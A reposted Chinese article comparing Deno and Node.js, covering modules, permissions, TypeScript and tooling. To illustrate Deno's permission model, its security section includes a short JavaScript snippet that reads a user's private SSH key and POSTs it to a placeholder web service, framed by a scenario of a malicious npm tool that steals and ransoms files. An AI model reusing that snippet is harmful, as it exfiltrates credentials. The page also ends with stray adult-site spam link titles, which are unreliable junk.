<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          Deno 正式發(fā)布,Node.js 會(huì)被顛覆嗎?

          共 13428字,需瀏覽 27分鐘

           ·

          2020-05-19 16:14

          閱讀本文大概需要 10?分鐘。


          2020 年 5 月 14 日,可能是前端開(kāi)發(fā)史上里程碑式的一天,因?yàn)橐粋€(gè)名為 Deno 的庫(kù) 1.0 版本正式發(fā)布了。

          f0297b466f41fb593cce684703e1e951.webp

          Deno 是個(gè)什么玩意?

          有人說(shuō)這可能是一個(gè)顛覆 Node.js (后文簡(jiǎn)稱 Node)的庫(kù),能顛覆整個(gè)前端開(kāi)發(fā)生態(tài)的庫(kù)。

          這么吊嗎?這是誰(shuí)開(kāi)發(fā)的?這個(gè)庫(kù)到底有啥用?

          其實(shí) Deno 就是 Node 的爸爸 Ryan Dahl 主導(dǎo)開(kāi)發(fā)的,主要原因是他覺(jué)得最早在開(kāi)發(fā) Node有很多設(shè)計(jì)不好的地方,于是....

          好,這篇文章就來(lái)介紹一下 Deno、Node 的開(kāi)發(fā)者以及 Deno 和 Node 的生態(tài)和用法上的不同之處吧。

          Node.js 之父是誰(shuí)?

          43787b8c6d57cfdb3b1a02ac879188b0.webp

          沒(méi)錯(cuò)!就是這個(gè)叫 Ryan Dahl 的男人在 2009 年創(chuàng)造了 Node。你看,其實(shí)也不是說(shuō)大神就都沒(méi)頭發(fā),這位大神毛發(fā)不是挺旺盛的嘛!不過(guò)既然是在 2009 年締造的 Node,那么就不得不吐槽那時(shí)候的 JavaScript 了。在 2009 年的 JavaScript 啥樣大家都知道,ES5.0(不成熟的ES5)在 09 年年底才剛剛發(fā)布,而 ES 5.1(咱們現(xiàn)在用的ES5)在 2011 年 6 月才開(kāi)始發(fā)布并成為 ISO 國(guó)際標(biāo)準(zhǔn)。

          想象一下即使現(xiàn)在有了 ES6 - ES2020 這么新的版本,JavaScript 依然經(jīng)常被大家拿來(lái)吐槽,更別提那個(gè)ES5都沒(méi)普及的年代了。在那時(shí)候既沒(méi)有合適的異步方式也沒(méi)有模塊化,也沒(méi)有什么包管理啥的。那么這樣的JS寫(xiě)大型項(xiàng)目或服務(wù)端項(xiàng)目簡(jiǎn)直就是一場(chǎng)災(zāi)難,于是乎就產(chǎn)生了各種模塊化方案(Node采用了 CommonJS),也有了 npm、node_modules 等各種歷史遺留問(wèn)題。一方面是當(dāng)年的 Ryan Dahl 技術(shù)沒(méi)有現(xiàn)在好,思想也沒(méi)有現(xiàn)在這么全面、另一方面當(dāng)年的 JavaScript 本來(lái)就很坑,用它創(chuàng)造出來(lái)的東西肯定不會(huì)很完美的。

          但是如今的 JavaScript 生態(tài)越來(lái)越發(fā)展壯大,雖然現(xiàn)在還是很坑,不過(guò)比起以前的 JavaScript 來(lái)說(shuō)簡(jiǎn)直強(qiáng)百倍。不僅有了自己的模塊化,還有了Promise、Proxy、Bigint、塊級(jí)作用域等一系列非常實(shí)用的特性、而且還有更好的 TypeScript 來(lái)為 JavaScript 負(fù)重前行。而 Node 的歷史包袱實(shí)在太重,即使想支持一下標(biāo)準(zhǔn)的模塊化都不得不把 .js 變成 .mjs 以保持兼容。

          Deno 起因

          Node 之父并沒(méi)有一直在維護(hù) Node,他后來(lái)離開(kāi)了 Node 加入了谷歌,在谷歌他研究的主要方向就是機(jī)器學(xué)習(xí)里面的圖像著色和超解像技術(shù)。雖然取得了一定的成就,但是 Ryan Dahl 認(rèn)為現(xiàn)在的機(jī)器學(xué)習(xí)還很簡(jiǎn)單,離真正的人工智能還有著十萬(wàn)八千里。但是這并不妨礙人們?nèi)ヌ嵘龣C(jī)器學(xué)習(xí)的技術(shù),因?yàn)樗嘈?,總有一天,人工智能?huì)變得越來(lái)越完善。

          提到機(jī)器學(xué)習(xí)和人工智能就不得不提 Python,Node 他爸始終不是很喜歡 Python,久而久之,就想搞一個(gè) JavaScript 的人工智能開(kāi)發(fā)框架(以后前端可能還得再學(xué)個(gè)人工智能)。等到他再回過(guò)頭撿起 Node,發(fā)現(xiàn)這個(gè)項(xiàng)目已經(jīng)背離了他的初衷,有一些無(wú)法忽視的問(wèn)題。

          這些啥破玩意?那個(gè)又是些什么鬼?原來(lái),他覺(jué)得當(dāng)初自己創(chuàng)建 Node 時(shí)失誤實(shí)在是太多了,他甚至還在 2018 年的 JS 開(kāi)發(fā)者會(huì)上列出了自己設(shè)計(jì) Node 的十個(gè)錯(cuò)誤:

          ?沒(méi)有堅(jiān)持使用 Promise?沒(méi)有注重安全性?沒(méi)有從 GYP 構(gòu)建系統(tǒng)轉(zhuǎn)到 GN?繼續(xù)使用 GYP,沒(méi)有提供 FFI?package.json 以及依賴了 npm?在任何地方都可以?require("somemodule")?package.json 提供了錯(cuò)誤的 module 概念?設(shè)計(jì)了軟件界黑洞 node_modules?require("module")可以不寫(xiě)?.js?index.js

          為了彌補(bǔ)這些錯(cuò)誤,他研發(fā)了一個(gè)新的項(xiàng)目,用來(lái)解決他的十個(gè)痛點(diǎn)(其實(shí)遠(yuǎn)遠(yuǎn)不止十個(gè)),這個(gè)項(xiàng)目就是 Deno。

          Deno 的實(shí)現(xiàn)

          Node 的底層依賴的是 C++,那 Deno 一樣嗎?

          答案是否定的,一部分程序員可能還記得 Deno 一開(kāi)始依賴的是 Go 語(yǔ)言,這曾經(jīng)在 GoLang 社區(qū)掀起了不小的波瀾。但是好景不長(zhǎng),后來(lái)?yè)Q成了 Rust。然后好多人借機(jī)黑 Go 吹 Rust 了一番。

          Deno 的名字

          細(xì)心的朋友可能會(huì)發(fā)現(xiàn) deno 這四個(gè)字母就是 node 的四個(gè)字母兩兩顛倒了一下:

          ?de + no = Deno?no + de = Node

          顛倒 Node 字母的寓意是要顛覆Node嗎?

          其實(shí)也差不多,它的意思是:Destroy Node (毀滅Node!

          看來(lái) Ryan Dahl 對(duì)他的Deno很有信心,我是希望它能真的干掉 Node 的,因?yàn)樗膬?yōu)點(diǎn)實(shí)在是太過(guò)于突出啦!

          那么接下來(lái)我們就來(lái)看一看Deno的優(yōu)勢(shì)都有哪些。

          Deno 的優(yōu)勢(shì)

          內(nèi)置 tsc 引擎,可以直接運(yùn)行 TypeScript 代碼(還是要先編譯成 JavaScript)。這就不用你每次編寫(xiě)完 TypeScript 代碼還要去手動(dòng)去編譯了,而且也不用再去搭建什么ts-node之類的了,方便你我他。它的內(nèi)部會(huì)根據(jù)文件后綴名判斷,如果是 .ts 后綴名,就先調(diào)用TS編譯器,將其編譯成 JavaScript;如果是.js后綴名,就直接傳入 V8 引擎運(yùn)行。

          由于是用 Rust 語(yǔ)言開(kāi)發(fā)的,Rust 原生支持 WebAssembly,所以它也能直接運(yùn)行 WebAssembly。它的異步操作不使用 libuv 這個(gè)庫(kù),而是使用 Rust 的 Tokio 庫(kù)來(lái)實(shí)現(xiàn) event loop。

          那么為什么不像 Node 一樣用 C++ 而是選擇用Rust呢?主要是因?yàn)?Rust 提供了很多現(xiàn)成的模塊,對(duì)于 Deno 來(lái)說(shuō),可以節(jié)約很多開(kāi)發(fā)時(shí)間。也許是看到了 Rust 提供了很多現(xiàn)成模塊,Deno 也決定在自己的項(xiàng)目中添加許多現(xiàn)成模塊。

          Deno 具有安全控制,默認(rèn)情況下腳本不具有讀寫(xiě)權(quán)限。如果腳本未授權(quán),就讀寫(xiě)文件系統(tǒng)或網(wǎng)絡(luò),會(huì)報(bào)錯(cuò)。想要讀寫(xiě)文件系統(tǒng)的話必須使用要參數(shù),顯式打開(kāi)權(quán)限才可以。Ryan 在總結(jié) Node 的十個(gè)錯(cuò)誤時(shí)曾說(shuō):V8 引擎本身有很好的 sandbox 架構(gòu),但是有時(shí)候 Node 本身卻沒(méi)有好好利用,例如有可以直接讀取 Memory 的例子,或者 linter 可以直接使用網(wǎng)絡(luò)功能等的漏洞。從 npm 下載了一個(gè)包就任由他運(yùn)行了,這其中存在著很大的安全隱患。

          Deno 支持 Web API,盡量跟瀏覽器保持一致。它提供 window 這個(gè)全局對(duì)象,同時(shí)支持 fetch、webCrypto、worker 等 Web 標(biāo)準(zhǔn),也支持 onload、onunload、addEventListener 等事件操作函數(shù)。不像Node,Web API和Node的API不一致只會(huì)增加開(kāi)發(fā)者的學(xué)習(xí)成本。以后window全局對(duì)象就可以不僅僅只局限于瀏覽器環(huán)境啦!

          Deno只支持ES模塊,跟瀏覽器的模塊加載規(guī)則一致。既沒(méi)有 npm,也沒(méi)有 node_modules這個(gè)無(wú)底洞,同時(shí)不支持 CommonJS 模塊,也不需要 package.json 文件。所有模塊通過(guò)URL加載,比如?import vue from "https://.vue.org"(絕對(duì)地址)或?import vue from './vue.runtime.js'(相對(duì)地址)。因此,Deno 不需要一個(gè)中心化的模塊儲(chǔ)存系統(tǒng),可以從任何地方加載模塊。但是,Deno 下載模塊以后,依然會(huì)有一個(gè)總的目錄,在本地緩存模塊,因此可以離線使用。也就是說(shuō)其實(shí)還是有一個(gè)類似于 node_modules 的文件夾。

          Deno 內(nèi)置了開(kāi)發(fā)者需要的各種功能,不再需要外部工具。打包、格式清理、測(cè)試、安裝、文檔生成、linting、腳本編譯成可執(zhí)行文件等,都有專門命令,不知道會(huì)不會(huì)在干掉 Node 的路上順便把 Webpack 也給干掉。

          Deno 的劣勢(shì)

          雖然這么一對(duì)比,感覺(jué) Node.js 完全不是對(duì)手,但是有一點(diǎn)是 Deno 暫時(shí)望塵莫及的,那就是巨大的生態(tài)。

          就像 C# 和 Java 一樣,他們真的差距那么巨大嗎?其實(shí)并沒(méi)有吧,但是流行度差這么多有很多原因是因?yàn)樯鷳B(tài)。

          就像華為想搞自己的鴻蒙系統(tǒng),即使真的能比安卓?jī)?yōu)秀,但是安卓巨大的生態(tài)就足夠領(lǐng)先很多年。當(dāng)年 Windows Phone 系統(tǒng)不就是這么輸?shù)拿??啥軟件都沒(méi)有,自然沒(méi)人愿意去買 Windows Phone 手機(jī)。

          Ryan 說(shuō)了,Deno 現(xiàn)在不打算對(duì) Node 做兼容處理,也就是說(shuō)很多東西在 Node 能用但是在 Deno 上用不了,能不能真的干掉 Node 就要看廣大造輪子愛(ài)好者們了,看看他們?cè)覆辉敢庠?Deno 身上再造一個(gè)。

          如果 React、Vue 以后都從 Deno 身上建生態(tài)了,那么 Deno 的前途就真的光明了,希望那一天能夠早點(diǎn)到來(lái)。

          對(duì)比

          的確,Deno 和 Node.js 形態(tài)很相似,要解決的問(wèn)題似乎也相同,那他們到底有啥區(qū)別,這一切究竟是道德的淪喪還是 ry (作者)人性的扭曲,讓我們走進(jìn)本篇文章,一探究竟。

          Deno VS Node


          NodeDeno
          API 引用方式模塊導(dǎo)入全局對(duì)象
          模塊系統(tǒng)CommonJS & 新版 node 實(shí)驗(yàn)性 ES ModuleES Module 瀏覽器實(shí)現(xiàn)
          安全無(wú)安全限制默認(rèn)安全
          Typescript第三方,如通過(guò) ts-node 支持原生支持
          包管理npm + node_modules原生支持
          異步操作回調(diào)Promise
          包分發(fā)中心化 npmjs.com去中心化 import url
          入口package.json 配置import url 直接引入
          打包、測(cè)試、格式化第三方如 eslint、gulp、webpack、babel 等原生支持

          1.內(nèi)置 API 引用方式不同

          Node 模塊導(dǎo)入

          Node 內(nèi)置 API 通過(guò)模塊導(dǎo)入的方式引用,例如:

          const fs =require("fs");fs.readFileSync("./data.txt");

          Deno 全局對(duì)象

          而 Deno 則是一個(gè)全局對(duì)象?Deno?的屬性和方法:

          Deno.readFileSync("./data.txt");

          具體 Deno 有哪些方法,我們可以通過(guò)?repl?看一下:

          deno # 或 deno repl

          進(jìn)入?repl?后,輸入?Deno?回車,我們可以看到:

          {Buffer:[Function:Buffer], readAll:[AsyncFunction: readAll], readAllSync:[Function: readAllSync], writeAll:[AsyncFunction: writeAll], writeAllSync:[Function: writeAllSync],# .....}

          這種處理的方式好處是簡(jiǎn)單、方便,壞處是沒(méi)有分類,想查找忘記的 API 比較困難??傮w來(lái)說(shuō)見(jiàn)仁見(jiàn)智。

          2.模塊系統(tǒng)

          我們?cè)賮?lái)看一下模塊系統(tǒng),這也是 Deno 和 Node 差別最大的地方,同樣也是 Deno 和 Node 不兼容的地方。

          Node CommonJS 規(guī)范

          我們都知道 Node 采用的是?CommonJS[1]?規(guī)范,而 Deno 則是采用的 ES Module 的瀏覽器實(shí)現(xiàn),那么我們首先來(lái)認(rèn)識(shí)一下:

          ES Module 的瀏覽器實(shí)現(xiàn)

          具體關(guān)于?ES Module[2]?想必大家都早已熟知,但其瀏覽器實(shí)現(xiàn)可能大家還不是很熟悉,所以我們先看一下其瀏覽器實(shí)現(xiàn):

          eno 的模塊規(guī)范

          Deno 完全遵循 es module 瀏覽器實(shí)現(xiàn),所以 Deno 也是如此:

          // 支持import*as fs from"https://deno.land/std/fs/mod.ts";import{ deepCopy }from"./deepCopy.js";import foo from"/foo.ts";
          // 不支持import foo from"foo.ts";import bar from"./bar";// 必須指定擴(kuò)展名

          我們發(fā)現(xiàn)其和我們平常在 webpack 或者 ts 使用 es module 最大的不同

          ?可以通過(guò) import url 直接引用線上資源;?資源不可省略擴(kuò)展名和文件名。

          關(guān)于第 1 點(diǎn),爭(zhēng)議非常大,有人很看好,覺(jué)得極大的擴(kuò)展了 Deno 庫(kù)的范圍;有人則不太看好,覺(jué)得國(guó)內(nèi)網(wǎng)速的原因,并不實(shí)用。大家的看法如何,歡迎在評(píng)論區(qū)發(fā)表 ?

          3. 安全

          如果模塊規(guī)范是 Node 和 Deno 最大的不同,那么對(duì)安全的處理,則是另外一個(gè)讓人摸不著頭腦的地方。

          模擬盜號(hào)

          在介紹之前我們先思考一下這個(gè)場(chǎng)景會(huì)不會(huì)出現(xiàn):

          我做了一個(gè)基于命令行的一鍵上網(wǎng)工具?breakwall,每月 1 個(gè) G 免費(fèi)流量,然后將壓縮后的 JS 代碼發(fā)布到 npm 上,然后后在各種渠道宣傳一波。

          羊毛黨興高彩烈的?cnpm install -g breakwall,然后每次使用的時(shí)候,我偷偷的將諸位的 ssh 密鑰和各種能偷的文檔及圖片偷偷上傳到我的服務(wù)器,在設(shè)定期限到期后,刪除電腦上資料,留下一句拿錢換資料,僅支持比特幣。

          默認(rèn)安全的 Deno

          如果你覺(jué)得以上情況有可能出現(xiàn),則會(huì)覺(jué)得下面的功能很實(shí)用。我們先用 Deno 執(zhí)行以下代碼:

          // index.jslet rsa =Deno.readFileSync(Deno.dir("home")+"/.ssh/id_rsa");
          rsa =newTextDecoder().decode(rsa);
          fetch("http://jsonplaceholder.typicode.com/posts/1",{ method:"POST", body: JSON.stringify(rsa)}).then((res)=> res.json()).then((res)=> console.log("密鑰發(fā)送成功,嘿嘿嘿?"));
          console.log("start breakwall...");

          PS: --unstable 是由于 Deno.dir API 不穩(wěn)定

          > deno run --unstable index.js

          我們將會(huì)得到如下報(bào)錯(cuò)信息:

          > deno run --unstable  index.jserror:UncaughtPermissionDenied: access to environment variables, run again with the --allow-env flag...

          意思就是權(quán)限異常,需要訪問(wèn)環(huán)境變量,需要加上?--allow-env,我們加上這個(gè)參數(shù)再試一下。

          > deno run --unstable --allow-env index.jserror:UncaughtPermissionDenied: read access to "/Users/zhangchaojie/.ssh/id_rsa", run again with the --allow-read flag...

          如此反復(fù),還需加上?--allow-read、--allow-net?,最終的結(jié)果是:

          > deno run --unstable --allow-env --allow-read --allow-net  index.jsstart breakwall...密鑰發(fā)送成功,嘿嘿嘿?

          經(jīng)過(guò)一番折騰,總算是發(fā)送成功了,要想盜取密鑰實(shí)屬不易。

          白名單

          那有人就說(shuō)了,如果我的應(yīng)用確實(shí)需要訪問(wèn)網(wǎng)絡(luò)和文件,但是有不想讓它訪問(wèn) .ssh 文件有沒(méi)有辦法?

          當(dāng)然有了,我們可以給?--allow-read?和?--allow-net?指定白名單,名單之外都不可訪問(wèn),例如:

          > deno run --unstable --allow-env --allow-read --allow-net=https://www.baidu.com  index.jsstart breakwall...error:UncaughtPermissionDenied: network access to "http://jsonplaceholder.typicode.com/posts/1", run again with the --allow-net flag    at unwrapResponse ($deno$/ops/dispatch_json.ts:43:11)    at Object.sendAsync ($deno$/ops/dispatch_json.ts:98:10)    at async fetch ($deno$/web/fetch.ts:591:27)

          簡(jiǎn)化參數(shù)

          如果確認(rèn)是沒(méi)問(wèn)題,或者是自己開(kāi)發(fā)軟件時(shí),圖個(gè)方便,可以直接使用?-A?或?--allow-all?參數(shù)允許所有權(quán)限:

          > deno -A --unstable index.jsstart breakwall...密鑰發(fā)送成功,嘿嘿嘿?

          安全這方面見(jiàn)仁見(jiàn)智,有人覺(jué)得是多余,有人覺(jué)得很好用,極大的增強(qiáng)了安全性。如果你屬于覺(jué)得這個(gè)功能多余的,可以?deno run -A xxx?即可。

          4. 兼容瀏覽器 API

          很多人不理解,為什么你一個(gè)服務(wù)端語(yǔ)言要兼容瀏覽器 API,以及怎么兼容。

          為什么要兼容瀏覽器 API

          關(guān)于為什么,我舉個(gè)栗子大家就明白了:在設(shè)計(jì) Node 之處,關(guān)于輸出函數(shù)本來(lái)叫?print?之類的,后來(lái)有人提議為什么不叫?console.log,ry 覺(jué)得挺不錯(cuò),于是就接納了意見(jiàn)。

          但是,這個(gè)設(shè)計(jì)并不是刻意為之,而 Deno 的設(shè)計(jì)則可以為之,通過(guò)與瀏覽器 API 保持一致,來(lái)減少大家的認(rèn)知

          怎么兼容瀏覽器 API

          概念上兼容

          ?模塊系統(tǒng),從上面介紹看出 Deno 是完全遵循瀏覽器實(shí)現(xiàn)的;?默認(rèn)安全,當(dāng)然也不是自己創(chuàng)造的概念,w3c 早已做出瀏覽器權(quán)限[3]的規(guī)定,我們?cè)谧鲂〕绦虻臅r(shí)候尤為明顯,需要獲取各種權(quán)限;?對(duì)于異步操作返回 Promise;?使用 ArrayBuffer 處理二進(jìn)制;?等等...

          存在 window 全局變量

          console.log(window ===this, window ===self, window === globalThis);

          實(shí)現(xiàn)了?WindowOrWorkerGlobalScope[4]?的全部方法

          具體方法列表,我們可以參考:lib.deno.shared_globals.d.ts[5]?和?lib.deno.window.d.ts[6]

          // 請(qǐng)求方法fetch("https://baidu.com");
          // base64 轉(zhuǎn)化let encodedData = btoa("Hello, world");// 編碼let decodedData = atob(encodedData);// 解碼
          // 微任務(wù)queueMicrotask(()=>{ console.log(123);});
          // 等等...

          大趨勢(shì)

          總體而言,如果服務(wù)端和瀏覽器端存在相同概念,Deno 就不會(huì)創(chuàng)造新的概念。這一點(diǎn)其實(shí) Node 也在做,新的?node 14.0 CHANGELOG[7]?就也提及要實(shí)現(xiàn)?Universal JavaScript?和?Spec compliance and Web Compatibility的思想,所以這點(diǎn)大家應(yīng)該都會(huì)接受吧,畢竟大勢(shì)所趨趨勢(shì)。

          5. 支持 Typescript

          不管你喜歡與否,2020 年了,必須學(xué)習(xí) TS 了(起碼在面試的時(shí)候是亮點(diǎn))。學(xué)完之后你才會(huì)明白王境澤定律真的無(wú)處不在。

          // index.tslet str:string="王境澤定律";str =132;
          > deno run index.tserror TS2322:Type'123'isnot assignable to type 'string'.
          ? file:///Users/zhangchaojie/Desktop/index.ts:2:1
          2 str =123~~~

          6. 去 node_modules

          Deno 沒(méi)有 node_modules,那么它是怎么進(jìn)行包管理的呢?我們先看下面的例子

          // index.jsimport{ white, bgRed }from"https://deno.land/std/fmt/colors.ts";
          console.log(bgRed(white("hello world!")));
          > deno run index.jsDownload https://deno.land/std/fmt/colors.tsCompile https://deno.land/std/fmt/colors.tshello world!

          我們看到其有?Download?和?Compile?兩個(gè)步驟,我們會(huì)產(chǎn)生幾個(gè)疑問(wèn):

          1、每次執(zhí)行都要下載嗎?

          解:我們只需要再執(zhí)行一次就能明白,不需要每次下載。

          > deno run index.jshello world!

          2、Download 和 Compile 的文件在哪里呢?

          解:我們會(huì)發(fā)現(xiàn),當(dāng)前執(zhí)行的目錄,并沒(méi)有 Download 和 Compile 文件,那文件放在哪里呢,我們首先來(lái)看一下?deno --help?命令:

          > deno --helpSUBCOMMANDS:# ...info           Show info about cache or info related to source file
          # ...ENVIRONMENT VARIABLES: DENO_DIR Set deno's base directory (defaults to $HOME/.deno)

          deno info?命令展示了依賴關(guān)系,類似?package.json。

          > deno info index.jslocal:/Users/zhangchaojie/Desktop/index.jstype:JavaScriptdeps:file:///Users/zhangchaojie/Desktop/index.js└── https://deno.land/std/fmt/colors.ts

          DENO_DIR?則為實(shí)際的安裝和編譯目錄,相當(dāng)于?node_modules,默認(rèn)為?$HOME/.deno(命令提示是這樣的,但實(shí)際需要指定一下環(huán)境變量?export DENO_DIR=$HOME/.deno),我們看一下:

          > tree $HOME/.deno/Users/zhangchaojie/.deno├── deps└── https└── deno.land├──3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935└──3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935.metadata.json└── gen└── https└── deno.land└── std└── fmt├── colors.ts.js├── colors.ts.js.map└── colors.ts.meta
          8 directories,5 files

          3、沒(méi)網(wǎng)絡(luò)了怎么辦?

          我們有些場(chǎng)景是將本地寫(xiě)好的代碼部署到?jīng)]有網(wǎng)絡(luò)的服務(wù)器,那么當(dāng)執(zhí)行?deno run xxx?時(shí),就是提示 error sending request。

          解:將上面的緩存目錄內(nèi)容,直接拷貝到服務(wù)器并指定環(huán)境變量到其目錄即可。

          4、依賴代碼更新了怎么辦?

          解:當(dāng)依賴模塊更新時(shí),我們可以通過(guò)?--reload?進(jìn)行更新緩存,例如:

          > deno run --reload index.js

          我們還可以通過(guò)白名單的方式,只更新部分依賴。例如:

          > deno run --reload=https://deno.land index.js

          5、僅緩存依賴,不執(zhí)行代碼有辦法嗎?

          解:有的,我們可以通過(guò)?deno cache index.js?進(jìn)行依賴緩存。

          6、多版本怎么處理?

          解:暫時(shí)沒(méi)有好的解決方案,只能通過(guò) git tag 的方式區(qū)分版本。

          7.標(biāo)準(zhǔn)模塊 與 node API 兼容

          我們通過(guò)第 1 點(diǎn)可以看到,其實(shí) Deno 的 API 相對(duì)于 Node 其實(shí)是少一些的,通過(guò)其文件大小也能看出來(lái):

          > ll /usr/local/bin/node /Users/zhangchaojie/.local/bin/deno-rwxr-xr-x  142M/Users/zhangchaojie/.local/bin/deno-rwxr-xr-x  170M/usr/local/bin/node

          那這些少的 API 只能自己寫(xiě)或者求助于社區(qū)嗎?

          Deno 對(duì)于自身相對(duì)于 Node 少的和社區(qū)中常用的功能,提供了標(biāo)準(zhǔn)模塊[8],其特點(diǎn)是不依賴非標(biāo)準(zhǔn)模塊的內(nèi)容,達(dá)到社區(qū)內(nèi)的模塊引用最后都收斂于標(biāo)準(zhǔn)模塊的效果。例如:

          // 類似 node 中 chalk 包import{ bgRed, white }from"https://deno.land/std/fmt/colors.ts";
          // 類似 node 中的 uuid 包import{ v4 }from"https://deno.land/std/uuid/mod.ts";

          同時(shí)為了對(duì) node 用戶友好,提供了 node API 的兼容

          import*as path from"https://deno.land/std/node/path.ts";import*as fs from"https://deno.land/std/node/fs.ts";
          console.log(path.resolve('./','./test'))

          所以,大家在為 Deno 社區(qū)做貢獻(xiàn)的時(shí)候,首先要看一下標(biāo)準(zhǔn)模塊有沒(méi)有提供類似的功能,如果已經(jīng)提供了可以進(jìn)行引用。

          8.異步操作

          根據(jù) ry 自己是說(shuō)法,在設(shè)計(jì) Node 是有人提議 Promise 處理回調(diào),但是他沒(méi)聽(tīng),用他自己的話說(shuō)就是愚蠢的拒絕了。

          Node 用回調(diào)的方式處理異步操作、Deno 則選擇用 Promise

          // node 方式const fs =require("fs");fs.readFile("./data.txt",(err, data)=>{if(err)throw err;  console.log(data);});

          另外 Deno 支持?top-level-await,所以以上讀取文件的代碼可以為:

          // deno 方式const data = await Deno.readFile("./data.txt");console.log(data);

          Node 關(guān)于這方面也在一直改進(jìn),例如社區(qū)上很多?promisify?解決方案,通過(guò)包裹一層函數(shù),實(shí)現(xiàn)目的。例如:

          // node API promisifyconst{ promisify }=require("es6-promisify");const fs =require("fs");
          // 沒(méi)有 top-level-await,只能包一層async function main(){const readFile = promisify(fs.readFile);const data = await readFile("./data.txt"); console.log(data);}
          main();

          9.單文件分發(fā)

          我們知道 npm 包必須有?package.json?文件,里面不僅需要指明?main?或?module?或?browser?等字段來(lái)標(biāo)明入口文件,還需要指明?name?、license?、description?等字段來(lái)說(shuō)明這個(gè)包。

          ry 覺(jué)得這些字段擾亂了開(kāi)發(fā)者的視聽(tīng),所以在 deno 中,其模塊不需要任何配置文件,直接是 import url 的形式。

          10.去中心化倉(cāng)庫(kù)

          對(duì)于?www.npmjs.com[9]?我們肯定都不陌生,它是推動(dòng) node 蓬勃發(fā)展的重要支點(diǎn)。但作者認(rèn)為它是中心化倉(cāng)庫(kù),違背了互聯(lián)網(wǎng)去中心化原則。

          所以 Deno 并沒(méi)有一個(gè)像 npmjs.com 的倉(cāng)庫(kù),通過(guò) import url 的方式將互聯(lián)網(wǎng)任何一處的代碼都可以引用。

          PS:Deno 其實(shí)是有個(gè)基于 GitHub 的第三方模塊集合[10]。

          11.去開(kāi)發(fā)依賴

          我們?cè)趯?xiě)一個(gè) Node 庫(kù)或者工具時(shí),開(kāi)發(fā)依賴是少不了的,例如 babel 做轉(zhuǎn)化和打包、jest 做測(cè)試、prettier 做代碼格式化、eslint 做代碼格式校檢、gulp 或者 webpack 做構(gòu)建等等,讓我們?cè)陂_(kāi)發(fā)前就搞得筋疲力盡。

          deno 通過(guò)內(nèi)置了一些工具,解決上述問(wèn)題。

          ?deno bundle:打包命令,用來(lái)替換?babel、gulp?一類工具: 例如:deno bundle ./mod.ts;?deno fmt:格式化命令,用來(lái)替換?prettier?一類工具,例如:deno fmt ./mod.ts;?deno test:運(yùn)行測(cè)試代碼,用來(lái)替換?jest?一類工具,例如?deno test ./test.ts?deno lint:代碼校檢(暫未實(shí)現(xiàn)),用來(lái)替換?eslint?一類工具,例如:deno lint ./mod.ts。

          后記

          就像小時(shí)候一直幻想的炸彈始終沒(méi)能炸了學(xué)校,技(輪)術(shù)(子)的進(jìn)(制)步(造)一直也未停止過(guò)。不論我們學(xué)的動(dòng)或者學(xué)不動(dòng),技術(shù)就在那里,不以人的意志為轉(zhuǎn)移。

          至于 Deno 能不能火,我個(gè)人覺(jué)得起碼一兩年內(nèi)不會(huì)有太大反響,之后和 Node 的關(guān)系有可能像 Vue 和 React,有人喜歡用 Deno,覺(jué)得比 Node 好一萬(wàn)倍,有人則喜歡 Node ,覺(jué)得 Node 還能再戰(zhàn) 500 年。至于最終學(xué)不學(xué)還看自己。

          再后記

          看完這些內(nèi)容,我也自己去試了試 Deno,感覺(jué),的確是解決了前端生態(tài)中的很多痛點(diǎn)。

          我以后或許應(yīng)該會(huì)站隊(duì) Deno 了。

          原文

          ?Node 之父重構(gòu)的 Deno 終于發(fā)布了,它終究會(huì)取代 Node 嗎?作者:手撕紅黑樹(shù) 鏈接:https://juejin.im/post/5ebd3112f265da7bd802bdd7?Deno 正式發(fā)布,徹底弄明白和 Node 的區(qū)別 作者:超杰_ 鏈接:https://juejin.im/post/5ebcad19f265da7bb07656c7

          轉(zhuǎn)載來(lái)源

          以上內(nèi)容來(lái)自掘金「手撕紅黑樹(shù)」與「超杰_」的兩篇文章,轉(zhuǎn)載請(qǐng)聯(lián)系原作者獲取授權(quán)。

          References

          [1]?CommonJS:?https://javascript.ruanyifeng.com/nodejs/module.html
          [2]?ES Module:?https://es6.ruanyifeng.com/#docs/module
          [3]?瀏覽器權(quán)限:?https://w3c.github.io/permissions/#permission-registry
          [4]?WindowOrWorkerGlobalScope:?https://developer.mozilla.org/zh-CN/docs/Web/API/WindowOrWorkerGlobalScope
          [5]?lib.deno.shared_globals.d.ts:?https://github.com/denoland/deno/blob/master/cli/js/lib.deno.shared_globals.d.ts
          [6]?lib.deno.window.d.ts:?https://github.com/denoland/deno/blob/master/cli/js/lib.deno.window.d.ts
          [7]?node 14.0 CHANGELOG:?https://github.com/nodejs/node/blob/master/doc/changelogs/CHANGELOG_V14.md
          [8]?標(biāo)準(zhǔn)模塊:?https://deno.land/std/
          [9]?www.npmjs.com:?http://www.npmjs.com
          [10]?第三方模塊集合:?https://deno.land/x


          推薦閱讀

          1

          淺度測(cè)評(píng):requests、aiohttp、httpx 我應(yīng)該用哪一個(gè)?

          2

          當(dāng)你無(wú)聊時(shí),可以玩玩 GitHub 上這個(gè)開(kāi)源項(xiàng)目

          3

          200 行代碼實(shí)現(xiàn)一個(gè)滑動(dòng)驗(yàn)證碼

          4??

          如何用一條命令將網(wǎng)頁(yè)轉(zhuǎn)成電腦 App


          好文和朋友一起看~
          瀏覽 90
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          評(píng)論
          圖片
          表情
          推薦
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  99久久久无码... | 女人男人的天堂青草视频 | 欧美在线91 | 免费av中文字幕 免费A片视频网站 | 麻豆成人影院 |